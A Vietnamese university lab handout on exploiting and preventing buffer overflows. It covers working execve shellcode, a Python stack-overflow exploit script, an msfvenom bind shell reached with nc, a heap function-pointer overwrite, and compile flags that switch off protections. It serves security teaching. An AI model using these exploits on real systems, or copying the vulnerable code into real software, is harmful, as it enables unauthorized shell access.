ATHT Lab2 2023 2024 Tuxa

You might also like

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 6

An toàn hệ thống (CT222) - Trường CNTT&TT - Đại học Cần Thơ

LAB 2
KHAI THÁC VÀ NGĂN CHẶN LỖI BUFFER OVERFLOW

Họ tên và MSSV:
Nhóm học phần:
- Các sinh viên bị phát hiện sao chép bài của nhau sẽ nhận 0đ cho TẤT CẢ các bài thực
hành của môn này.
- Bài nộp phải ở dạng PDF, hình minh họa phải rõ ràng chi tiết. Hình minh hoạ chỉ cần
chụp ở nội dung thực hiện, không chụp toàn màn hình.
Lưu ý: sử dụng tài khoản là mã số sinh viên (đã tạo ở Câu 1.4 - Lab01) để thực hiện tất cả các
câu trong bài thực hành. Tất cả các câu trong bài thực hành này được thực hiện trên Kali Linux
2022.2

Câu 1: Khai thác lỗi Stack-based Buffer Overflow trên Linux 64 bit
1.1. Soạn thảo 1 chương trình buf.c
$mkdir stackoverflow && cd stackoverflow
$nano buf.c
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[]){
char buf[200];
strcpy(buf, argv[1]);
printf("Input was: %s\n",buf);
return 0;
}

1.2. Biên dịch chương trình buf.c


$gcc -g -fno-stack-protector -z execstack buf.c -o buf
Giải thích ý nghĩa tham số:
-g:
-fno-stack-protector:
-z execstack:
-o:
1.3 Tắt chức năng Address Space Layout Randomization (ASLR)
$sudo sysctl kernel.randomize_va_space=0
Hoặc:
$sudo nano /proc/sys/kernel/randomize_va_space
#Chuyển giá trị 2 thành 0
1.4 Cài đặt gdb và bắt đầu debug chương trình
An toàn hệ thống (CT222) - Trường CNTT&TT - Đại học Cần Thơ

$sudo apt update && sudo apt install gdb -y


$gdb -q buf

1.5 Bên trong môi trường gdb, tiến hành dò vị trí của return address:
(gdb)run $(python2 -c "print 'A'*length")
# Tăng giá trị của length cho đến khi giá trị return address là
'0x0000414141414141'
1.6 Xác định vị trí của return address:
(gdb)disass main
(gdb)break * main+91
(gdb)run $(python2 -c "print 'A'*200 + 'B'*? + 'C'*8 + 'D'*6")
(gdb)x/100x $rsp
(gdb)x $rsp
(gdb)x $rbp
Chụp hình minh hoạ kết quả thực hiện
Trả lời:
- Địa chỉ và giá trị của thanh ghi rsp:
- Địa chỉ và giá trị của thanh ghi rbp:
- Địa chỉ và giá trị của return address:
- Địa chỉ bắt đầu và kết thúc của buf trên bộ nhớ stack:
- Tổng độ dài của payload thực thi tấn công buffer overflow:

Kernel space
argc, argv[], env variables

return address 6 * 0x44 (D)

rbp 8 * 0x43 (C)


? * 0x42 (B)
alignment

buf[200] 200 * 0x41 (A)

rsp

1.7 Khai thác


- 152 chỉ thị NOP(No Operation):
'\x90'*152
- Shellcode (48 bytes): thực thi bash shell
'\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\
x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\
An toàn hệ thống (CT222) - Trường CNTT&TT - Đại học Cần Thơ

xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\
x0f\x05'
- Lệnh khai thác:
run $(python2 -c "print '\x90'*152 + shellcode + 'B'*?
+'C'*8 + '<Một địa chỉ bất kỳ ở vị trí 0 tới 152 của buffer (viết
theo dạng little endian)>'")

Kernel space
argc, argv[], env variables
0x7fffffffdd80
rbp 8 * 0x43 (C)
? * 0x42 (B)
alignment
Shellcode
(48 bytes)

0x7fffffffdd80 152 * ‘\x90’

rsp
- Sau khi chiếm được shell, thực hiện lệnh pwd và id
Chụp hình minh hoạ chiếm được shell sau khi thực thi lệnh khai khác.

Câu 2: Khai thác lỗi Buffer Overflow bên ngoài môi trường gdb
2.1. Tạo tập tin python khai thác
$nano exploit1.py
#!/usr/bin/python3
import sys

buf_length = 200
payload_length = 222

shellcode = b""
shellcode += b"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48"
shellcode += b"\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1"
shellcode += b"\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57"
shellcode += b"\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a"
shellcode += b"\x3c\x58\x0f\x05"

return_add = b'\x80\xDD\xFF\xFF\xFF\x7F' # thay thế bằng giá trị phù hợp

nopsled = b'\x90' * (buf_length - len(shellcode))


junk = b'A' * (payload_length - buf_length - len(return_add))
An toàn hệ thống (CT222) - Trường CNTT&TT - Đại học Cần Thơ

payload = nopsled + shellcode + junk + return_add


sys.stdout.buffer.write(payload)

2.2 Khai thác trong môi trường gdb


$chmod a+x ./exploit1.py
$gdb -q buf
(gdb)run $(./exploit1.py)

- Sau khi chiếm được shell, thực hiện lệnh pwd và id


Chụp hình minh hoạ chiếm được shell sau khi thực thi lệnh khai khác.

2.3 Thay đổi giá trị return_add trong tập tin exploit1.py để có thể khai thác lỗi Buffer
Overflow bên ngoài môi trường gdb. Sau đó tiến hành khai thác:
$nano exploit1.py
#Cộng thêm '\x40' vào return_add
$./buf $(./exploit1.py)
- Sau khi chiếm được shell, thực hiện lệnh pwd và id
Chụp hình minh hoạ chiếm được shell sau khi thực thi lệnh khai khác.

Câu 3: Khai thác lỗi Buffer Overflow với Listening Shell


3.1 Tạo shellcode chạy listening shell lắng nghe ở cổng 4444
$msfvenom -p linux/x64/shell_bind_tcp AppendExit=true -b '\x00','\x09' -
f python
Sao chép shellcode được vừa tạo.
3.2 Sao chép tập tin exploit1.py thành exploit2.py, thay đổi shellcode trong tập tin
bằng shellcode ở Câu 3.1.
3.3 Sau đó tiến hành khai thác:
$./buf $(./exploit2.py)
Lưu ý: nếu shellcode có lỗi (không tạo được listening shell) thì thực hiên lại Câu 3.1 để
tạo shellcode mới.
3.4 Sử dụng công nc nối kết tới listening shell lắng nghe ở cổng 4444
$nc 127.0.0.1 4444
- Sau khi chiếm được shell, thực hiện lệnh pwd và id
Chụp hình minh hoạ chiếm được shell sau khi thực thi lệnh khai khác.

Câu 4: Khai thác lỗi Heap-based Buffer Overflow trên Linux 64 bit
4.1. Soạn thảo 1 chương trình heap.c
$mkdir heapoverflow && cd heapoverflow
$nano heap.c
An toàn hệ thống (CT222) - Trường CNTT&TT - Đại học Cần Thơ

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data{char name[64];};


struct fun{int (*fp)();};

void winner(){
printf("Level up. Welcome to Heap-based buffer overflow\n");
}

void nowinner(){
printf("Level has not been passed\n");
}

int main(int argc, char **argv){


struct data *d;
struct fun *f;

d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fun));
f->fp = nowinner;

printf("data is at %p, fp is at %p\n", d, f);


strcpy(d->name, argv[1]);
f->fp();
}

4.2. Biên dịch chương trình heap.c


$gcc -g -fno-stack-protector -z execstack heap.c -o heap

4.3. Tìm địa chỉ bắt đầu của Heap, địa chỉ của name[64] và fp trên bộ nhớ Heap, địa chỉ của 2
hàm winner và nowinner.
$gdb -q heap
(gdb)list 1,30
(gdb)break 29
(gdb)run AAAA
An toàn hệ thống (CT222) - Trường CNTT&TT - Đại học Cần Thơ

(gdb)info proc map


Ghi lại địa chỉ bắt đầu của Heap (Chụp hình minh hoạ)
- Tiếp tục thực hiện:
(gdb)x/300x <Địa chỉ bắt đầu của Heap>
- Trên kết quả hiển thị, tìm vị trí của 2 đối tượng name[64] và fp trên bộ nhớ Heap
(Chụp hình minh hoạ)
- Tìm địa chỉ của 2 hàm winner và nowinner
(gdb)disass nowinner
(gdb)disass winner
Ghi lại địa chỉ của hàm winner (Chụp hình minh hoạ)
- Thoát khỏi gdb
4.3. Khai thác Heap-based overflow trong môi trường gdb.
- Bên trong môi trường gdb, tiến hành dò vị trí của fp:
(gdb)run $(python2 -c "print 'A'*length")
# Tăng giá trị của length cho đến khi giá trị chương trình báo
lỗi
- Thực hiện lệnh khai thác
run $(python2 -c "print 'A'*(length) + '<Địa chỉ của hàm winner
(viết theo dạng little endian)>'")

Chụp hình minh hoạ hàm winner được thực thi thay vì hàm nowinner.

Câu 5: Các giải pháp ngăn chặn tấn công Buffer Overflow
5.1. Biên dịch lại chương trình buf.c ở Câu 1, KHÔNG dùng tham số -fno-stack-
protector và -z execstack. Lúc này có thể khai thác lỗi buffer overflow trong chương
trình được không?
Giải thích và chụp hình minh hoạ.
5.2. Bật lại chức năng Address Space Layout Randomization (ASLR). Lúc này có thể khai thác
lỗi buffer overflow trong chương trình được không?
$sudo sysctl kernel.randomize_va_space=2
Giải thích và chụp hình minh hoạ.
---HẾT---

You might also like